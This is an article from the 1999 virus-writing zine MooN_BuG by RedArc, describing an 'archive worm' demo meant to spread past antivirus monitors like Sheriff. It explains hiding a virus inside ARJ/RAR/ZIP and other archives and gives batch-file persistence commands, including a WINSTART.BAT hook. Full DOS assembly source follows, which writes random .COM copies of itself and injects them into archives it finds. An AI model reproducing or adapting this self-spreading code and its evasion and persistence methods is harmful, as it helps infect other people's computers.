[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 00E

                             Вирус-червь Archive
                                                        by RedArc

     Это не совсем вирус. Это просто демка того, как вирус может спокойно жить
и распространяться в условиях тотальной активности Sheriff'а.

 Q: А что _полезное_ можно дописывать в архивы?
 Q: И для чего можно применить дозапись в архивы?

Хм... Hу как же, как же.

     1.  Если  виpус  записался  (дописался) в аpхив, то у него есть шанс, что
используемые  на  этом  компе  антивиpусы  не  обpабатывают  этот  тип  аpхива
(напpимеp  аpхивы AIN) и чеpез некотоpое вpемя этот аpхив будет pазаpхивиpован
и  инфициpованный  файл/дpозофила  будет  запущен юзеpом и виpус получит новую
жизнь.
     2. Чаще всего с компа на комп копиpуют именно аpхивы. Стало быть у виpуса
есть  шанс,  что аpхив, в котоpый он допишется, будет пеpедан на дpугой комп и
там pазаpхивиpован, а его (аpхива) содеpжимое будет запущено на исполнение.
     3.  Уменьшение  свободного  пpостpанства  на  диске  юзеpа.  Своеобpазная
дестpукция ;)

А еще можно сделать напpимеp так:
     1. Виpус пакует себя в аpхив со случайным именем файла попавшимся по PATH
аpхиватоpом со случайным паpолем и случайным методом паковки.
     2. Создаем новый или модифициpуем попавшийся в текущем каталоге BAT-файл.
А именно, записываем в него команды:

            PKUNZIP -sPASSWORD VIRUS.ZIP > NIL
            VIRUS.EXE
            @DEL VIRUS.EXE > NIL

     И  антивиpусы-сканеpы,  типа DrWeb, будут спокойны и виpус жить будет. Hу
если   дописываемся   в   существующий   пакетный   файл,   то   это  понятно,
инфициpование  пакетных  файлов.  А  вот создание нового пакетного файла можно
пpиуpочить   к   созданию   (модифициpованию)   в   каталоге   \WINDOWS  файла
WINSTART.BAT и записи в него команды

            CALL VIRUS.BAT

     После  чего  виpус  будет запущен навеpняка пpи каждом стаpте фоpточек, а
"умные"  антивиpусы-сканеpы  не  смогут  найти  источник заpажения. А виpус...
виpус  может  не только аpхивы заpажать, но и файлы и память и пеpедавать свои
копии по Internet или UUCP... Так что вот так...
     И  пpи  этом  виpус  будет  получать  упpавление  pаньше, чем VxD того же
Sheriff'а со всеми вытекающими отсюда последствиями ;)

=== Cut ===                                                        Archive.asm
Model Tiny
.486
.code
org 100h
start:
       mov ax,3510h
       int 21h
       mov _bx,bx
       mov _es,es
       lea dx,MyInt10h
       mov ax,2510h
       int 21h
       push cs
       pop ds
       mov ah,62h
       int 21h
       mov es,bx
       mov ax,word ptr es:[2ch]
       mov es,ax
       xor ax,ax
       mov di,8
@0:
       mov al,byte ptr es:[di]
       mov Pfad[di-8],al
       inc di
       cmp al,0
       jne @0
       push cs
       pop es
       mov bp,0
       mov Flag,bp
FindFile:
       mov ax,bp
       call CaseExt
       mov ah,4eh
       xor cx,cx
Interrupt:
       int 21h
       jnb AddFile
       inc bp
       cmp bp,6
       jne FindFile
       jmp short RandomAdd
AddFile:
       mov Flag,1
       mov si,9eh
       lea di,archivename
       call ReplaceFileName
       call RandomMyFile
       lea di,filename
       lea si,subprocname
       call ReplaceFileName
       lea di,subprocname
       lea si,filename
       call ReplaceFileName
       mov ax,bp
       call CaseArchive
       call MoveArcCommand
       call ArcCommand
       call ExecCommand
       call EraseFile
       mov ah,4fh
       jmp short Interrupt
RandomAdd:
       mov ax,Flag
       cmp ax,0
       jne Exit
       call RandomArchive
       call CaseArc
       call MoveArcCommand
       call ArcCommand
       call ExecCommand
       call EraseFile
Exit:
       mov dx,_bx
       mov ax,_es
       mov ds,ax
       mov ax,2510h
       int 21h
       push cs
       pop ds
       int 20h
MyInt10h:
       iret
include subrout1.inc
include subrout2.inc
include subrout3.inc
include daten.inc
MYLENGTH equ $-start
MainBuff label byte
end start
=== Cut ===

=== Cut ===                                                       subrout1.inc
; БИБЛИОТЕКА ПОДПРОГРАММ

;-----------------------------------------------------------------------------
;Intro:   Выполнить внешнюю программу
;Input:   DS:DX - имя программы
;         ES:BX - блок параметров для запуска подпроцесса
;         CS:DI - место для хранения переменных в формате dd
;Output:  AX - код ошибки, если установлен CF
;Destroy: все регистры
Exec:
      mov    ax,4b00h
      push   ds es
      mov    word ptr cs:[di],ss
      mov    word ptr cs:[di+2],sp
      mov    DI_SAVE,di
      int    21h
      mov    di,DI_SAVE
      cli
      mov    sp,cs:[di+2]
      mov    ss,cs:[di]
      sti
      pop    es ds
      mov dx,80h
      mov ah,1ah
      int 21h
      ret
DI_SAVE dw ?
;-----------------------------------------------------------------------------
;Intro:   Изменение блока доступной памяти
;Input:   AX - оставляемый размер стека
;         ES - распределяемый блок
;         BX - желаемый размер блока
;Output:  AX - код ошибки, если установлен CF
;Destroy: DI
Memory:
      pop    di
      mov    sp,ax
      mov    ah,4ah
      int    21h
      jmp    di
;-----------------------------------------------------------------------------
;Intro:   Подготовка блока параметров для запуска
;Input:   DS:DI - блок параметров
;Output:  none
;Destroy: none
MakeEPB:
      mov word ptr ds:[di+4],es
      mov word ptr ds:[di+8],es
      mov word ptr ds:[di+12],es
      ret
;-----------------------------------------------------------------------------
;Input:  ah - range
;Output: ah - rnd
RND_Tabelle:
       mov al,ah
       in al,40h
       cmp al,ah
       jnc RND_Tabelle
       xchg ah,al
       ret
;-----------------------------------------------------------------------------
ExecCommand:
; исполнение программы
       pop di
       mov ExecTemp,di
       mov ax,800h
       mov bx,800h
       call Memory
       jc EndStart
       lea di,EPB
       call MakeEPB
       lea di,_stack
       lea dx,Pfad
       lea bx,EPB
       call Exec
EndStart:
       mov bx,0ffffh
EStart:
       mov ax,0fffeh
       call Memory
       jc EStart
       mov di,ExecTemp
       jmp di
;-----------------------------------------------------------------------------
=== Cut ===

=== Cut ===                                                       subrout2.inc
; БИБЛИОТЕКА ПОДПРОГРАММ

;-----------------------------------------------------------------------------
EraseFile:
       mov ah,41h
       lea dx,subprocname
       int 21h
       ret
;-----------------------------------------------------------------------------
CreateFile:
       mov ah,3ch
       xor cx,cx
       int 21h
       xchg bx,ax
       ret
;-----------------------------------------------------------------------------
OpenFile:
       mov ax,3d02h
       int 21h
       xchg bx,ax
       ret
;-----------------------------------------------------------------------------
MoveHandle2End:
       mov ax,4200h
       cwd
       mov cx,ProgLength
       xchg cx,dx
       int 21h
       ret
;-----------------------------------------------------------------------------
Write2File:
       mov ah,40h
       int 21h
       ret
;-----------------------------------------------------------------------------
ReadFromFile:
       mov ah,3fh
       lea dx,MainBuff
       mov cx,MyLength
       int 21h
       ret
;-----------------------------------------------------------------------------
CloseFile:
       mov al,01h
       mov cx,word ptr ds:[96h]
       mov dx,word ptr ds:[98h]
       call DataTimeFile
       mov ah,3eh
       int 21h
       ret
;-----------------------------------------------------------------------------
SetFileAttr:
       mov ax,4301h
       int 21h
       ret
;-----------------------------------------------------------------------------
DataTimeFile:
       mov ah,57h
       int 21h
       ret
;-----------------------------------------------------------------------------
XorBuff:
       mov di,dx
       mov si,dx
       push cx
XB:
       lodsb
       xor al,ah
       add al,cl
       stosb
       loop XB
       pop cx
       ret
;-----------------------------------------------------------------------------
XorBuff1:
       mov di,dx
       mov si,dx
       push cx
XB1:
       lodsb
       sub al,cl
       xor al,ah
       stosb
       loop XB1
       pop cx
       ret
;-----------------------------------------------------------------------------
=== Cut ===

=== Cut ===                                                       subrout3.inc
; БИБЛИОТЕКА ПОДПРОГРАММ

;-----------------------------------------------------------------------------
;Input:   none
;Output:  none
;Destroy: AX, CX, SI, DI
ArcCommand:
       call MoveArchiveName
       call MoveFileName
       call MoveParam
       ret
;-----------------------------------------------------------------------------
;Input:   SI - Archive command
;Output:  none
;Destroy: AX, CX, SI, DI
MoveArcCommand:
       lea di,ARC_Name
       mov cx,5
_MAC1:
       lodsb
       stosb
       loop _MAC1
       ret
;-----------------------------------------------------------------------------
;Input:   none
;Output:  none
;Destroy: AX, SI, DI
MoveArchiveName:
       lea si,archivename
       lea di,ARC_Para
_MAN0:
       lodsb
       cmp al,'.'
       je _MAN1
       stosb
       jmp short _MAN0
_MAN1:
       mov al,020h
       stosb
       ret
;-----------------------------------------------------------------------------
;Input:   none
;Output:  none
;Destroy: AX, SI, DI
MoveFileName:
       lea si,filename
       lea di,ARC_Para
       xor ax,ax
       add di,9
_MFN0:
       lodsb
       cmp al,ah
       jne _MFN1
       mov al,020h
_MFN1:
       stosb
       cmp al,020h
       jne _MFN0
       call ZerroParam
       ret
;-----------------------------------------------------------------------------
;Input:   none
;Output:  none
;Destroy: AX, CX, SI, DI
MoveParam:
       xor ax,ax
       mov cx,ax
       lea si,ARC_Exec
       mov di,81h
       mov al,20h
       stosb
MP1:
       lodsb
       stosb
       inc cl
       cmp al,ah
       jne MP1
       dec cl
       mov byte ptr ds:[80h],cl
       ret
;-----------------------------------------------------------------------------
;Input:   SI - begin block
;Output:  none
;Destroy: AX, SI, DI
ZerroParam:
       mov si,di
_ZP0:
       lodsb
       cmp al,'>'
       je _ZP1
       mov al,020h
       stosb
       jmp short _ZP0
_ZP1:
       ret
;-----------------------------------------------------------------------------
;Input:  none
;Output: none
CaseArc:
        mov ah,6
        call RND_Tabelle
        xchg ah,al
        jmp CaseArchive
;-----------------------------------------------------------------------------
RandomName:
        mov cx,8
        lea si,subprocname
_RN1:
        mov ah,26
        call RND_Tabelle
        add ah,65
        push si
        add si,cx
        mov byte ptr ds:[si-1],ah
        pop si
        loop _RN1
        add si,8
        mov byte ptr ds:[si],'.'
        mov byte ptr ds:[si+1],'c'
        mov byte ptr ds:[si+2],'o'
        mov byte ptr ds:[si+3],'m'
        ret
;-----------------------------------------------------------------------------
ReplaceFileName:
        lodsb
        stosb
        cmp al,0
        jne ReplaceFileName
        ret
;-----------------------------------------------------------------------------
RandomMyFile:
        call RandomName
        lea dx,subprocname
        call CreateFile
        mov dx,100h
        mov cx,MYLENGTH
        call Write2File
        call CloseFile
        ret
;-----------------------------------------------------------------------------
RandomArchive:
        call RandomMyFile
        lea di,filename
        lea si,subprocname
        call ReplaceFileName
        call RandomName
        lea di,archivename
        lea si,subprocname
        call ReplaceFileName
        lea di,subprocname
        lea si,filename
        call ReplaceFileName
        ret
;-----------------------------------------------------------------------------
CaseArchive:
        cmp al,0
        jne _CA1
        lea si,ARJ_Exec
        ret
_CA1:
        cmp al,1
        jne _CA2
        lea si,RAR_Exec
        ret
_CA2:
        cmp al,2
        jne _CA3
        lea si,AIN_Exec
        ret
_CA3:
        cmp al,3
        jne _CA4
        lea si,LHA_Exec
        ret
_CA4:
        cmp al,4
        jne _CA5
        lea si,ZIP_Exec
        ret
_CA5:
        lea si,HA_Exec
        ret
;-----------------------------------------------------------------------------
CaseExt:
        cmp al,0
        jne __CA1
        lea dx,ARJ_Mask
        ret
__CA1:
        cmp al,1
        jne __CA2
        lea dx,RAR_Mask
        ret
__CA2:
        cmp al,2
        jne __CA3
        lea dx,AIN_Mask
        ret
__CA3:
        cmp al,3
        jne __CA4
        lea dx,LHA_Mask
        ret
__CA4:
        cmp al,4
        jne __CA5
        lea dx,ZIP_Mask
        ret
__CA5:
        lea dx,HA_Mask
        ret
;-----------------------------------------------------------------------------
=== Cut ===

=== Cut ===                                                          daten.inc
;-----------------------------------------------------------------------------
      _es       dw      00h
      _bx       dw      00h
      Flag      dw      00h
archivename db 12 dup (?),0h
filename    db 12 dup (?),0h
ARJ_Exec db 'arj',020h,'a'
RAR_Exec db 'rar',020h,'a'
AIN_Exec db 'ain',020h,'a'
LHA_Exec db 'lha',020h,'a'
HA_Exec  db 'ha',020h,020h,'a'
ZIP_Exec db 'pkzip'
;---
ARC_Exec db '/','c',020h
ARC_Name db 6 dup (020h)
ARC_Para db 22 dup (020h)
ARC_Ende db '>','n','u','l',0dh,00h
;---
ARJ_Mask db '*.arj',0h
RAR_Mask db '*.rar',0h
AIN_Mask db '*.ain',0h
LHA_Mask db '*.lzh',0h
HA_Mask  db '*.ha',0h
ZIP_Mask db '*.zip',0h
;-----------------------------------------------------------------------------
; имя программы для запуска
subprocname db 12 dup (?)
            db 0h
ProgLength dw ?
;-----------------------------------------------------------------------------
; блок параметров exec
EPB label byte
      _seg      dw      00h
                dw      80h
      _segCMD   dw      00h
                dw      5ch
      _segFCB1  dw      00h
                dw      6ch
      _segFCB2  dw      00h
;-----------------------------------------------------------------------------
; внутренний стек
      _stack    dw      00h
      _stackp   dw      00h
;-----------------------------------------------------------------------------
Tempw dw ?
Temp dd ?
ExecTemp dw ?
Pfad label byte
=== Cut ===